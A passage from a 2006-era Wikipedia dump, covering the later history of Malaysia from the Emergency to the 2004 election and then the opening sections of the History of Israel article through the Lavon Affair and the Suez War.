The [[Malayan Emergency]] involved six years of bitter fighting across the Malayan Peninsula. The British strategy, which proved ultimately successful, was to isolate the MCP from its support base by a combination of economic and political concessions to the Chinese and the resettlement of Chinese squatters into &amp;#8220;New Villages&amp;#8221; in &amp;#8220;white areas&amp;#8221; free of MCP influence. The effective mobilisation of the Malays against the MCP was also an important part the British strategy. From [[1949]] the MCP campaign lost momentum and the number of recruits fell sharply. Although the MCP succeeded in assassinating the British High Commissioner, Sir [[Henry Gurney]], in October [[1951]], this turn to &amp;#8220;terrorist&amp;#8221; tactics alienated many moderate Chinese from the Party. The arrival of Lt-Gen Sir [[Gerald Templer]] as British commander in [[1952]] was the beginning of the end of the Emergency. Templer invented the techniques of [[counter-insurgency]] warfare in Malaya and applied them ruthlessly.

==Towards Malaysia==

[[image:350px-Merdeka1.jpg|thumb|350px|Merdeka Square (Dataran Merdeka) in Kuala Lumpur, where Malaysians celebrate Independence Day on 31 August each year]]

Chinese reaction against the MCP was shown by the formation of the [[Malaysian Chinese Association |Malayan Chinese Association]] (MCA) in [[1949]] as a vehicle for moderate Chinese political opinion. Its leader, [[Tan Cheng Lock]], favoured a policy of collaboration with UMNO to win Malayan independence on a policy of equal citizenship, but with sufficient concessions to Malay sensitivities to ease nationalist fears. Tan formed a close collaboration with Tunku (Prince) [[Tunku Abdul Rahman|Abdul Rahman]], the Chief Minister of Kedah and from [[1951]] successor to Datuk Onn as leader of UMNO. Since the British had announced in [[1949]] that Malaya would soon become independent whether the Malayans liked it or not, both leaders were determined to forge an agreement their communities could live with as a basis for a stable independent state. The UMNO-MCA Alliance (which was later joined by the [[Malaysian Indian Congress|Malayan Indian Congress]] (MIC)), won convincing victories in local and state elections in both Malay and Chinese areas between [[1952]] and [[1955]]. 

The introduction of elected local government was another important step in defeating the Communists. After [[Joseph Stalin]]&amp;#8217;s death in [[1953]], there was a split in the MCP leadership over the wisdom of continuing the armed struggle. Many MCP militants lost heart and went home, and by the time Templer left Malaya in [[1954]] the Emergency was over, although Chin Peng led a diehard group that lurked in the inaccessible country along the Thai border for many years. The Emergency left a lasting legacy of bitterness between Malays and Chinese.

During [[1955]] and [[1956]] UMNO, the MCA and the British hammered out a constitutional settlement for an independent Malaya. UMNO conceded the principle of equal citizenship for all races. In exchange, the MCA agreed that [[Yang di-Pertuan Agong|Malaya&amp;#8217;s head of state]] would be drawn from the ranks of the Malay Sultans, that Malay would be the official language, and that Malay education and economic development would be promoted and subsidised. In effect this meant that Malaya would be run by the Malays, particularly since they continued to dominate the civil service, the army and the police, but that the Chinese and Indians would have proportionate representation in the Cabinet and the parliament, would run those states where they were the majority, and would have their economic position protected. The difficult issue of who would control the education system was deferred until after independence. This came on [[August 31]], [[1957]], when Tunku Abdul Rahman became the first Prime Minister of independent Malaya.

This left the unfinished business of the other British-ruled territories in the region. After the Japanese surrender the [[White Rajahs|Brooke family]] and the British North Borneo Company gave up their control of Sarawak and Sabah respectively, and these became British Crown Colonies. They were much less economically developed than Malaya, and their local political leaderships (who were mainly Christian) were too weak to demand independence, despite the considerable cultural differences between the two territories and Malaya. Singapore, with its large Chinese majority, achieved autonomy in [[1955]], and in [[1959]] the young socialist leader [[Lee Kuan Yew]] became Prime Minister. The Sultan of Brunei remained as a British client in his oil-rich enclave. Between [[1959]] and [[1962]] the British government orchestrated complex negotiations between these local leaders and the Malayan government.

In 1961, the Tunku mooted the idea of forming &quot;Malaysia&quot;, which would consist of [[Singapore]], [[Sabah]], [[Sarawak]] and [[Brunei]], all of which were then British colonies. The reasoning behind this was that this would allow the central government to control and combat communist activities, especially in Singapore. It was also feared that if Singapore achieved independence, it would become a base for Chinese chauvinists to threaten Malayan sovereignty. To balance out the ethnic composition of the new nation, the other states, whose Malay and indigenous populations would balance out the Singaporean Chinese majority, were also included. &lt;ref&gt;Shuid, Mahdi &amp; Yunus, Mohd. Fauzi (2001). ''Malaysian Studies'', p. 29. Longman. ISBN 983-74-2024-3.&lt;/ref&gt;

Although Singaporean Chief Minister [[Lee Kuan Yew]] supported the proposal, his opponents from the Singaporean Socialist Front resisted, arguing that this was a ploy for the British to continue controlling the region. Most political parties in Sarawak were also against the merger, and in Sabah, where there were no political parties, community representatives also stated their opposition. Although the [[Sultan of Brunei]] supported the merger, the ''Parti Rakyat Brunei'' opposed it as well. At the [[Commonwealth Heads of Government Meeting]] in 1961, the Tunku explained his proposal further to its opponents. In October, he obtained agreement from the British government to the plan, provided that feedback be obtained from the communities involved in the merger. The [[Cobbold Commission]], named after its head, Lord Cobbold, conducted a study in the [[Borneo]] territories and approved a merger with Sabah and Sarawak; however, it was found that a substantial number of Bruneians opposed merger. A [[referendum]] was conducted in Singapore to gauge opinion, and 70% supported merger with substantial autonomy given to the state government. &lt;ref&gt;Shuid &amp; Yunus, pp. 30&amp;ndash;31.&lt;/ref&gt; &lt;ref&gt;Adam, Ramlah binti, Samuri, Abdul Hakim bin &amp; Fadzil, Muslimin bin (2004). ''Sejarah Tingkatan 3'', p. 207. Dewan Bahasa dan Pustaka. ISBN 983-62-8285-8.&lt;/ref&gt;

After reviewing the Cobbold Commission's findings, the British government appointed the [[Landsdowne Commission]] to draft a constitution for Malaysia. The eventual constitution was essentially the same, albeit with some rewording. For instance, the Malay privileges were now made available to all &quot;[[Bumiputra]]&quot;, a group comprising the Malays and other indigenous peoples of Malaysia. The new states were also granted some autonomy unavailable to the original nine states of Malaya. After negotiations in July 1963, it was agreed that Malaysia would come into being on [[August 31]] [[1963]], consisting of Singapore, Sabah and Sarawak. Brunei pulled out after ''Parti Rakyat Brunei'' staged an armed revolt, which, though it was put down, was viewed as potentially destabilising to the new nation. &lt;ref&gt;Shuid &amp; Yunus, p. 31.&lt;/ref&gt;

The [[Philippines]] and [[Indonesia]] strenously objected to this development, with Indonesia claiming Malaysia represented a form of [[neocolonialism]] and the Philippines claiming Sabah as its territory. Indonesian President [[Sukarno]], backed by the powerful [[Communist Party of Indonesia]] (PKI), chose to regard Malaysia as a [[neo-colonialism|neo-colonialist]] plot against his country, and backed a Communist insurgency in Sarawak, mainly involving elements of the local Chinese community. Indonesian irregular forces were infiltrated into Sarawak, where they were contained by Malaysian and [[Commonwealth of Nations]] forces. This period of &amp;#8220;[[Confrontation]]&amp;#8221; lasted until [[1965]], when the army coup in Jakarta ended Sukarno&amp;#8217;s rule and destroyed the PKI. Under Sukarno&amp;#8217;s successor, [[Suharto]], Indonesian-Malaysian relations improved. At the same time Filipino President [[Diosdado Macapagal]] revived the long-dormant Filipino claim to Sabah, once part of the Sultanate of Sulu. This claim was mostly to do with Filipino domestic politics. In [[1966]] the new president, [[Ferdinand Marcos]], dropped the claim and recognized Malaysia.

==Problems of independence==
[[Image:FedOfMalaya1stCabinet.jpg|thumb|right|300px|Federation of Malaya's first cabinet with Tunku Abdul Rahman as Prime Minister in 1957.]]
The [[Great Depression|Depression]] of the 1930s, followed by the outbreak of the [[Sino-Japanese War (1937-1945)|Sino-Japanese War]], had the effect of ending Chinese emigration to Malaya, which stabilised the demographic situation and ended the prospect of the Malays becoming a minority in their own country. At the time of independence in [[1957]], the Malays were 55% of the population, the Chinese 35% and the Indians 10%. Since the Malays have until recently had a higher birth rate, the proportion of Malays has increased since independence &amp;#8211; by [[2000]] it was over 60 percent. 

This equation was upset by the inclusion of Singapore, which increased the Chinese proportion to close to 40%. Both UMNO and the MCA were nervous about the possible appeal of Lee's [[People's Action Party]] (then seen as a radical socialist party) to voters in Malaya, and tried to organise a party in Singapore to challenge Lee's position there. Lee in turn threatened to run PAP candidates in Malaya at the [[1964]] federal elections, despite an earlier agreement that he would not do so (see [[PAP-UMNO Relations]]). This provoked Tunku Abdul Rahman to demand that Singapore withdraw from Malaysia, which it did on [[August 9]], [[1965]].

The most vexed issues of independent Malaysia were education and the disparity of economic power among the ethnic communities. Since there was no effective opposition party, these issues were contested mainly within the coalition government, which won all but one seat in the first post-independence Malayan Parliament. The two issues were related, since the Chinese advantage in education played a large part in maintaining their control of the economy, which the UMNO leaders were determined to end. The MCA leaders were torn between the need to defend their own community&amp;#8217;s interests and the need to maintain good relations with UMNO. This produced a crisis in the MCA in [[1959]], in which a more assertive leadership under [[Lim Chong Eu]] defied UMNO over the education issue, only to be forced to back down when Tunku Abdul Rahman threatened to break up the coalition.

The Education Act of [[1961]] put UMNO&amp;#8217;s victory on the education issue into legislative form. Henceforward Malay and English would be the only teaching languages in secondary schools, and state primary schools would teach in Malay only. Although the Chinese and Indian communities could maintain their own [[Chinese language|Mandarin]] and [[Tamil language|Tamil]]-language primary schools, all their students were required to learn Malay, and to study an agreed &amp;#8220;Malayan curriculum.&amp;#8221; Most importantly, the entry exam to the [[University of Malaya]] (which moved from Singapore to Kuala Lumpur in [[1963]]) would be conducted in Malay, even though most teaching at the university was in English until the 1970s. This had the effect of excluding many Chinese students. At the same time Malay schools were heavily subsidised, and Malays were given preferential treatment. This obvious defeat for the MCA greatly weakened its support in the Chinese community.

At the time of independence Malaya had great economic advantages. It was among the world&amp;#8217;s leading producers of three valuable commodities, rubber, tin and palm oil, and also a significant iron ore producer. These export industries gave the Malayan government a healthy surplus to invest in industrial development and infrastructure projects. Like other developing nations in the 1950s and &amp;#8216;60s, Malaya (and later Malaysia) placed great stress on state planning, although UMNO was never a [[socialist]] party. The First and Second Malayan Plans ([[1956]]-[[1960|60]] and [[1961]]-[[1965|65]] respectively) stimulated economic growth through state investment in industry and repairing infrastructure such as roads and ports, which had been damaged and neglected during the war and the Emergency. The government was keen to reduce Malaya&amp;#8217;s dependence on commodity exports, which put the country at the mercy of fluctuating prices. The government was also aware that demand for natural rubber was bound to fall as the production and use of [[synthetic rubber]] expanded. Since a third of the Malay workforce worked in the rubber industry it was important to develop alternative sources of employment. Competition for Malaya&amp;#8217;s rubber markets meant that the profitability of the rubber industry increasingly depended on keeping wages low, which perpetuated rural Malay poverty.

As in education, the UMNO government&amp;#8217;s unspoken agenda in the field of economic development was to shift economic power away from the Chinese and towards the Malays. The two Malayan Plans, and the First Malaysian Plan ([[1966]]-[[1970|70]]), directed resources heavily into developments which would benefit the rural Malay community, such as village schools, rural roads, clinics and irrigation projects. Several agencies were set up to enable Malay smallholders to upgrade their production and increase their incomes. The Federal Land Development Authority (FELDA) helped many Malays buy farms or upgrade ones they already owned. The state also provided a range of incentives and low-interest loans to help Malays start businesses, and government tendering systematically favoured Malay companies, leading many Chinese-owned businesses to &amp;#8220;Malayanise&amp;#8221; their management. All this certainly tended to reduce to gap between Chinese and Malay standards of living, although some argued that this would have happened anyway as Malaysia&amp;#8217;s trade and general prosperity increased.

==The crisis of 1969==

The collaboration of the MCA and the MIC in these policies weakened their hold on the Chinese and Indian electorates. At the same time, the effects of the government&amp;#8217;s [[affirmative action]] policies of the 1950s and &amp;#8216;60s had been to create a discontented class of educated but underemployed Malays. This was a dangerous combination, and led to the formation of a new party, the [[Parti Gerakan Rakyat Malaysia|Malaysian People&amp;#8217;s Movement]] (Gerakan Rakyat Malaysia) in [[1968]]. Gerakan was a deliberately non-communal party, bringing in Malay trade unionists and intellectuals as well as Chinese and Indian leaders. At the same time, an [[Islamism|Islamist]] party, the [[Islamic Party of Malaysia]] (PAS) and a Chinese socialist party, the [[Democratic Action Party]] (DAP), gained increasing support, at the expense of UMNO and the MCA respectively. 

At the May [[1969]] federal elections, the UMNO-MCA-MIC Alliance polled only 48 percent of the vote, although it retained a majority in the legislature. The MCA lost most of the Chinese-majority seats to Gerakan or DAP candidates. The result was anti-government demonstrations by Chinese in Kuala Lumpur, provoking a Malay backlash and leading rapidly to [[May 13 Incident|riots and inter-communal violence]] in which about 6,000 Chinese homes and businesses were burned and at least 184 people were killed. The government declared a state of emergency, and a National Operations Council, headed by the Deputy Prime Minister, Tun [[Tun Abdul Razak|Abdul Razak]], took power from the government of Tunku Abdul Rahman, who in September [[1970]] was forced to retire in favour of Abdul Razak. Using the Emergency-era [[Internal Security Act]] (ISA), the new government suspended Parliament and political parties, imposed press censorship and placed severe restrictions on political activity. The ISA gave the government power to intern any person for indefinitely without trial. These powers were widely used to silence the government&amp;#8217;s critics, and have never been repealed. The Constitution was changed to make illegal any criticism, even in Parliament, of the Malaysian monarchy, the special position of Malays in the country, or the status of Malay as the national language. 

In [[1971]] Parliament reconvened, and a new government coalition, the [[National Front (Malaysia)|National Front]] (Barisan Nasional), took office. This included UMNO, the MCA, the MIC, the much weakened Gerakan, and regional parties in Sabah and Sarawak. The DAP was left outside as the only significant opposition party. The PAS also joined the Front but was expelled in [[1977]]. Abdul Razak held office until his death in [[1976]]. He was succeeded by Datuk [[Hussein Onn]], the son of UMNO&amp;#8217;s founder Onn Jaafar, and then by Tun Dr [[Mahathir bin Mohamad]], who had been Education Minister since [[1971]], and who held power for 22 years. During these years policies were put in place which led to the rapid transformation of Malaysia&amp;#8217;s economy and society.

==Modern Malaysia==

[[Image:KualaLumpurAbdulSamadBldg.jpg|thumb|right|350px|Kuala Lumpur, a blend of old and new.]]

In [[1970]] 75 percent of Malaysians living below the [[poverty line]] were Malays, the majority of Malays were still rural workers, and Malays were still largely excluded from the modern economy. The government&amp;#8217;s response was the [[New Economic Policy (Malaysia)|New Economic Policy]] of [[1971]], which was to implemented through a series of four five-year plans from [[1971]] to [[1990]]. The plan had two objectives: the elimination of poverty, particularly rural poverty, and the elimination of the identification between race and economic function. This latter policy was understood to mean a decisive shift in economic power from the Chinese to the Malays.

Poverty was tackled through an agricultural policy which resettled 250,000 Malays on newly cleared farmland, more investment in rural infrastructure, and the creation of free trade zones in rural areas to create new manufacturing jobs. During the 1970s and &amp;#8216;80s rural poverty did decline, particularly in the Malayan Peninsula, but critics of the government&amp;#8217;s policy contend that this was mainly due to the growth of overall national prosperity (due in large part to the discovery of important oil and gas reserves) and migration of rural people to the cities rather than to state intervention. Little was done to improve the living standards of the low-paid workers in plantation agriculture, although this group steadily declined as a proportion of the workforce. By [[1990]] the poorest parts of Malaysia were rural Sabah and Sarawak, which lagged significantly behind the rest of the country. These years saw rapid growth in Malaysian cities, particularly Kuala Lumpur, which became a magnet for immigration both from rural Malaya and from poorer neighbours such as Indonesia, [[Bangladesh]], Thailand and the Philippines. Urban poverty became a problem for the first time, with shanty towns growing up around the cities.

The second arm of government policy, driven mainly by Mahathir first as Education Minister and then as Prime Minister, was the transfer of economic power to the Malays. Mahathir greatly expanded the number of secondary schools and universities throughout the country, and enforced the policy of teaching in Malay rather than English. This had the effect of creating a large new Malay professional class. It also created an unofficial barrier against Chinese access to higher education, since few Chinese are sufficiently fluent in Malay to study at Malay-language universities. Chinese families therefore sent their children to universities in Singapore, Australia, Britain or the United States &amp;#8211; by [[2000]], for example, 60,000 Malaysians held degrees from Australian universities. This had the unintended consequence of exposing large numbers of Malaysians to life in Western countries, creating a new source of discontent. Mahathir also greatly expanded educational opportunities for Malay women &amp;#8211; by [[2000]] half of all university students were women.

To find jobs for all these new Malay graduates, the government created several agencies for intervention in the economy. The most important of these were PERNAS (National Corporation Ltd), PETRONAS (National Petroleum Ltd), and HICOM (Heavy Industry Corporation of Malaysia), which not only directly employed many Malays but also invested in growing areas of the economy to create new technical and administrative jobs which were preferentially allocated to Malays. As a result, the share of Malay equity in the economy rose from 1.5 percent in [[1969]] to 20.3 percent in [[1990]], the percentage of businesses of all kinds owned by Malays rose from 39 percent to 68 percent. This latter figure was deceptive because many businesses that appeared to be Malay-owned were still indirectly controlled by Chinese, but there is no doubt that the Malay share of the economy has considerably increased. The Chinese remain disproportionately powerful in Malaysian economic life, but by [[2000]] the distinction between Chinese and Malay business was fading as many new corporations, particularly in growth sectors such as [[information technology]], were owned and managed by people from both ethnic groups.

Malaysia&amp;#8217;s rapid economic progress since [[1970]], which was only temporarily disrupted by the [[Asian financial crisis]] of [[1997]], has not been matched by change in Malaysian politics. The repressive measures passed in [[1970]] remain in place. Malaysia has had regular elections since [[1974]], and although campaigning is reasonably free at election time, it is in effect a one-party state, with the UMNO-controlled National Front usually winning nearly all the seats, while the DAP wins some Chinese urban seats and the PAS some rural Malay ones. Since the DAP and the PAS have diametrically opposed policies, they have been unable to form an effective opposition coalition. There is almost no criticism of the government in the media and public protest remains severely restricted. The ISA continues to be used to silence dissidents, and the members of the UMNO youth movement are deployed to physically intimidate opponents. 

Under Mahathir&amp;#8217;s long Prime Ministership ([[1981]]-[[2003]]), Malaysia&amp;#8217;s political culture became increasingly authoritarian, culminating in the dismissal and imprisonment on trumped-up charges of the Deputy Prime Minister, [[Anwar Ibrahim]], in [[1997]] after an internal dispute within the government. The complicity of the judiciary in this piece of persecution was seen as a particularly clear sign of the decline of Malaysian democracy. The Anwar affair led to the formation of a new party, the [[People's Justice Party ]], or Keadilan, led by Anwar&amp;#8217;s wife, Dr [[Wan Azizah Wan Ismail]]. At the [[1999]] elections Keadilan formed a coalition with the DAP and the PAS known as the Alternative Front ([[Barisan Alternatif]]). The result of this was that the PAS won a number of Malay seats from UMNO, but many Chinese voters disapproved of this unnatural alliance with the Islamist PAS, causing the DAP to lose many of its seats to the MCA, including that if its veteran leader, [[Lim Kit Siang]]. Wan Azizah won her husband&amp;#8217;s former constituency but otherwise Keadilan made little impact.

Mahathir retired in [[2003]], and his successor, Dato Seri [[Abdullah Ahmad Badawi]], released Anwar and allowed him to go abroad, which was seen as a portent of a mild liberalisation. At the [[Malaysian general election, 2004|2004 election]], the National Front led by Abdullah has a massive victory, virtually wiping out the PAS and Keadilan, although the DAP recovered the seats it had lost in [[1999]]. This victory was seen as the result mainly of Abdullah&amp;#8217;s personal popularity and the strong recovery of Malaysia&amp;#8217;s economy, which has lifted the living standards of most Malaysians to almost &amp;#8220;[[first world]]&amp;#8221; standards. Malaysia&amp;#8217;s objective is now to become a fully [[developed country]] by [[2020]], and this seems quite achievable. It leaves unanswered, however, the question of when and how Malaysia will acquire a first world political system (a multi-party democracy, a free press, an independent judiciary and the restoration of civil and political liberties) to go with its new economic maturity.

==Notes and references==
&lt;references/&gt;

===Other references===
*Goh, Cheng Teik (1994). ''Malaysia: Beyond Communal Politics''. Pelanduk Publications. ISBN 967-978-475-4.
*Musa, M. Bakri (1999). ''The Malay Dilemma Revisited''. Merantau Publishers. ISBN 1-58348-367-5.
*Ye, Lin-Sheng (2003). ''The Chinese Dilemma''. East West Publishing. ISBN 0-9751646-1-9.

[[Category:History of Malaysia|*]]

[[de:Geschichte Malaysias]]
[[id:Sejarah Malaysia]]
[[ja:マレーシアの歴史]]
[[ms:Sejarah Malaysia]]
[[zh:马来西亚历史]]</text>
    </revision>
  </page>
  <page>
    <title>History of Israel</title>
    <id>13808</id>
    <revision>
      <id>40273380</id>
      <timestamp>2006-02-19T11:56:03Z</timestamp>
      <contributor>
        <username>Humus sapiens</username>
        <id>31851</id>
      </contributor>
      <comment>/* External links */ First Photos of the Holy Land</comment>
      <text xml:space="preserve">This article discusses the history of the modern [[Israel|State of Israel]], from its independence proclamation in [[1948]] to the present. See also [[History of ancient Israel and Judah]] and [[History of Palestine]] for prior history of the geographic region. See [[Zionism]] and [[Timeline of Zionism]] for issues pertaining the history of the Zionist movement. 
[[Image:Cia-is-map.gif|thumb|Map of Israel]]

=== Zionism and Israel ===
{{Israelis}}

The independence of the modern [[Israel|State of Israel]] was achieved in 1948 after more than 60 years of efforts by [[Zionism|Zionist]] leaders to establish [[sovereignty]] and [[self-determination]] in the [[Jewish National Homeland]].

The desire of Jews to return to what they consider their rightful homeland was first expressed during the [[Babylonian captivity]] after [[597 BCE]] (see the [[Psalm]] 137:1 as an example). This became a universal Jewish theme after the [[destruction of Jerusalem]] by the [[Roman Empire|Romans]] in 70 CE and the [[exile]]s that followed. (see [[Jewish-Roman wars]]). The [[Jewish diaspora]] and those who stayed continued to see the land as their spiritual home and as the [[Promised Land]]; there is no evidence of any interruption of the Jewish presence there for the last three millennia. See also [[Religious significance of Jerusalem|Importance of Jerusalem to Jews]]. 

For generations, the universal theme carried mostly religious overtones due to the belief that the Jewish people would return to [[Zion]] (a [[synecdoche]] for the [[Land of Israel]]) with the coming of the [[Messiah]], i.e., only after divine intervention; some proposed or attempted to return earlier, but they were in a minority. 

While today most Jews support Zionism to one degree or another, when it was first proposed it was highly controversial and a great many Jews opposed it. The [[Reform Judaism|Reform Jews]] of 1800s and early 1900s [[Germany]] were, at the time, anti-Zionist; they were opposed to any conception of Jewry as anything other than a religion. 

In [[Eastern Europe]], Zionism met heavy opposition by the [[General Jewish Labor Union|Bund]]. Secular Zionists, by contrast, were intent on seeing it primarily as an ethnic group - many of the Zionists had rejected Judaism, but still viewed themselves as in some sense &quot;Jewish&quot;. Many [[Hasidim]] and other [[Haredi Judaism|Haredi Jews]] believed that any attempt to return to Israel before the coming of the [[Messiah]] was sacrilegious. The [[Chabad Lubavitch|Lubavitcher Rebbe]]s, for instance, were anti-Zionist. [[Conservative Judaism]], which in the late 1800s was more of a scholarly school of thought than a formal denomination, has always been Zionist. 
Since [[the Holocaust]], however, Judaism has become overwhelmingly Zionist. Today all of Reform, Conservative and Modern Orthodoxy is staunchly Zionist; and even most Haredi Jews have changed from anti-Zionism (active opposition to Zionism) to non-Zionism (neutrality towards Zionism.) Secular non-Zionist Jewish movements are very rare today.

By the mid-19th century, the [[Land of Israel]] was a part of the [[Ottoman Empire]], populated mostly by [[Muslim]] and [[Christian]] [[Arab]]s, as well as Jews, [[Druze]], [[Bedouin]]s and other minorities. 
By 1844, Jews constituted the largest population group (and by 1890 an absolute majority) in a few cities, most notably [[Jerusalem]]. In addition to these traditional religious Jewish communities, known as the ''[[Old Yishuv]]'', the second half of the 19th century saw a new kind of Jewish immigrant, prevalently secular [[left-wing]] [[socialist]]s who aimed to reclaim the land by working on it. [[Mikveh Israel]] was founded in 1870 by [[Alliance Israelite Universelle]], followed by [[Petah Tikva]] (1878), [[Rishon LeZion]] (1882), and other agricultural communities founded by the members of [[Bilu]] and [[Hovevei Zion]]. Near the end of the century [[Leon Pinsker]] and [[Theodore Herzl]] took practical steps toward securing international support for a Jewish homeland in the region of Palestine, though neither of them considered Palestine as the only conceivable site for the future state. In 1897, the [[First Zionist Congress]] proclaimed the decision &quot;to establish a home for the Jewish people in Eretz-Israel secured under public law.&quot;[http://www.wzo.org.il/home/movement/first.htm]

The [[Balfour Declaration, 1917|Balfour Declaration]] of 1917 asserted that the British Government &quot;view[ed] with favour the establishment in Palestine of a national home for the Jewish people&quot;...&quot;it being clearly understood that nothing shall be done which may prejudice the civil and religious rights of existing non-Jewish communities in Palestine&quot;.  This declaration was supported by a number of other countries, including the [[United States]], and became more important following [[World War I]], when the [[League of Nations]] assigned the United Kingdom the Palestine mandate ([[1922 Text: League of Nations Palestine Mandate]]).

Jewish immigration grew slowly in the 1920s; it increased substantially in the 1930s, due to political turmoil in [[Europe]] and [[Nazi]] persecution, until restrictions were imposed by the [[United Kingdom]] in 1939. After the end of [[World War II]], and the near-extermination of European Jewry by the Nazis, international support for Jews seeking to settle in Palestine overcame British efforts to restrict immigration.

Following [[World War II]], the British announced their intention to withdraw from the [[British mandate of Palestine|mandate of Palestine]]. The [[United Nations]] General Assembly (GA Resolution 181, [[November 29]] [[1947]]) proposed the partition of Palestine into two states, an [[Arab]] state and a Jewish state, with Jerusalem to be under United Nations administration (see [http://www.israel-mfa.gov.il/mfa/go.asp?MFAH0dt70 map]). Most Jews in Palestine accepted the proposal, while most of the Arabs in Palestine rejected it. The Arabs totally rejected the idea of a Jewish state in Palestine (however, they were not under any legal obligation to accept the plan as General Assembly resolutions are not binding).

Violence between Arab and Jewish communities erupted almost immediately. Toward the end of the British mandate, the Jews planned to declare a separate state, a development the Arabs were determined to prevent. On [[May 14]], [[1948]], the last British forces withdrew from Palestine, and the Jews, led by [[David Ben Gurion]], declared the creation of the State of Israel, in accordance with the Partition Plan.

=== 1948 War of Independence ===
:''Main article: [[1948 Arab-Israeli War]]''.

Immediately following the declaration of the State of Israel, [[Egypt|Egyptian]], [[Syria|Syrian]], [[Iraq|Iraqi]], [[Jordan|Jordanian]], and [[Lebanon|Lebanese]] forces invaded the newly formed state on all fronts. In a desperate and costly war characterized by use of makeshift armaments and resourceful tactics, Israel eventually repelled the attacking armies, and then advanced its forces to occupy some of the territory set aside under the Partition Plan for the Arabs and for the City of [[Jerusalem]]. A cease fire agreement was signed between the two sides, with the current front line becoming the boundary between Israel and the Arab territories. As a result of the 1948 war, Israel controlled all the territory allotted to them under the Partition Plan, much of the territory allotted to the Arabs under the Plan, and half of what was to be the UN-administered City of Jerusalem. The remaining Arab territories were the [[West Bank]] and the [[Gaza Strip]]; the West Bank was administered by [[Jordan]], while the Gaza Strip was administered by Egypt. For details, see [[1948 Arab-Israeli War]].

In 1949, under UN auspices, four armistice agreements were negotiated and signed at [[Rhodes]], [[Greece]], between Israel and its neighbors Egypt, Jordan, [[Lebanon]] and Syria. The 1948-49 war of independence resulted in a 50% increase in Israeli territory, including western Jerusalem. No general peace settlement was achieved at Rhodes, however, and violence along the borders continued for many years.

As a result of this war, about 711,000 Arab refugees were created (according to the United Nations Conciliation Commission for Palestine[http://domino.un.org/unispal.nsf/9a798adbf322aff38525617b006d88d7/93037e3b939746de8525610200567883!OpenDocument]) and  over 800,000 Jewish refugees were created. The latter figure includes all Jews who fled or were expelled from Arab states after Israel was created. Pro-Palestinian sources call these people emigrants, rather than refugees.  Pro-Israeli commentators hold that the [[Jewish exodus from Arab lands]], many of which communities had been established for more than 2000 years, came as a result of violence and persecution. In the view of a vast majority of [[Arabs]] the birth of Israel has been a cause of [[ethnic cleansing]] targeting the Palestinians. About 600,000 of the Jewish refugees settled in the State of Israel, having neither intention nor willingness to return to their source countries;  many of the Arab refugees, and their descendants, remain to this day in refugee camps run by the [[United Nations Relief and Works Agency for Palestine Refugees in the Near East]] (UNRWA).

Further information from pro-Israel sources: [http://www.us-israel.org/jsource/History/refugees.html]

On [[July 5]], [[1950]] the [[Knesset]] passed the [[Law of Return]] which granted all Jews the right to immigrate to Israel. Even prior to the passing of that law, immigrants flocked to Israel, some assisted by Israeli authorities. From 1947 to 1950 some 250,000 Holocaust survivors made their way to Israel. &quot;[[Operation Magic Carpet]]&quot; brought thousands of [[Yemen|Yemenite]] Jews to Israel.

The early years were not easy for the newly founded state, and a [[Austerity in Israel|state of austerity]] was put into force on 1949, not to be fully annulled until 1959.

==== References ====
*[http://domino.un.org/unispal.nsf/0/7f0af2bd897689b785256c330061d253?OpenDocument 1947 UN resolution]
*[http://domino.un.org/unispal.nsf/cf02d057b04d356385256ddb006dc02f/3cbe4ee1ef30169085256b98006f540d!OpenDocument Map of 1947 UN division]

=== The Lavon Affair ===
After [[Gamal Abdal Nasser]] came to power in Egypt of 1952, relations between the U.S. and Egypt improved. This was viewed as a threat to Israel. In an incident which later shocked the Israeli public when the facts came to light, and which then brought down its government, a handful of individuals in the Israeli government and the Mossad conspired to undermine relations between America and Egypt. This group orchestrated a bombing campaign against American governmental and civilian installations in Egypt, including an American library in Alexandria and Cairo, an MGM Cinema, and other American owned business buildings.

The campaign was halted in 1954 by the arrest of two agents who had attempted to place a bomb; this led to the collapse of the cell and the imprisonment or execution of most of its members by Egypt. Some quarters maintain that Israel did not do enough to protect its agents, prompted by allegations of torture and mistreatment of the bombers by the Egyptian authorities. 

In the following investigation, Brigadier Binyamin Gibli claimed that the Defence Minister, [[Pinhas Lavon]] gave a verbal order to carry out the operation. The Chief of Staff of that time, [[Moshe Dayan]], agreed with him. As a result of the scandal, now known as the [[Lavon Affair]], Lavon was forced to resign. [[David Ben Gurion]] replaced him in office. In 1960, following new evidence from a secret 1958 trial of a suspected double agent, Lavon asked Ben Gurion to exonerate him. Ben-Gurion refused, since he could not believe that officers of the Israeli army, which he had built himself, would be able to commit such a dishonest action as framing Lavon.
			
In 1960, a committee of seven ministers set up to investigate the matter revealed the forging of a document used by Moshe Dayan and [[Shimon Peres]], then Deputy Minister of Defense, to deflect responsibility for the botched 1954 Egyptian operation onto Lavon. A subsequent hearing revealed that Peres, Dayan and Brigadier Abraham Givli were also involved. The conclusions of the committee were accepted by the government. Despite attempts to censor the details of the case on grounds of national security, the Lavon Affair led to a second scandal, and Ben Gurion's forced resignation due to the inability of the government to act due to political considerations. The Israeli public reacted with outrage when they learned the truth about the conspiracy.

In the following 1961 elections, Ben-Gurion declared that he would only accept office if Lavon was fired from the position of the head of [[Histadrut]], Israel's labor union organization. His demands were accepted; however in 1963 he quit again in the wake of the scandal. His attempts to make his political party MAPAI resolve this issue during 1964-1965 turned against him, and Ben-Gurion was forced to leave.

====Further information about the Lavon Affair====
*Doron Geller: ''The Lavon Affair'' [http://www.jafi.org.il/education/juice/service/week2.html]
*List of books and articles covering the affair [http://users.skynet.be/terrorism/html/israel_susannah.htm]
*Jack Riemer: ''Author unravels the scandal that brought down Ben-Gurion'' [http://www.jewishsf.com/bk970221/etdown.htm]
*Israeli government's summary (in Hebrew)[http://www.knesset.gov.il/lexicon/heb/lavon.htm]

=== 1956 Suez War ===
:''Main article: [[1956 Suez War]]''.
The [[Suez Crisis]] came about when throughout 1956 conflict increased between Israel and Egypt, with Egypt sending guerilla forces into Israeli territory and Israel launching frequent incursions into Egyptian territory in response. Egypt blockaded the [[Gulf of Aqaba]], and closed the [[Suez canal]] to Israeli shipping. Egypt also nationalized the canal, to the fury of its previous European controllers. In response, [[France]] and the [[United Kingdom]] entered into a secret agreement with Israel to take back the canal by force.
In accordance with this agreement (which was not officially admitted until very much later), Israel invaded the [[Gaza Strip]] and the [[Sinai Peninsula]] in October 1956. Israeli forces reached the canal in short order and then French and British forces stepped in on the pretext of restoring order.

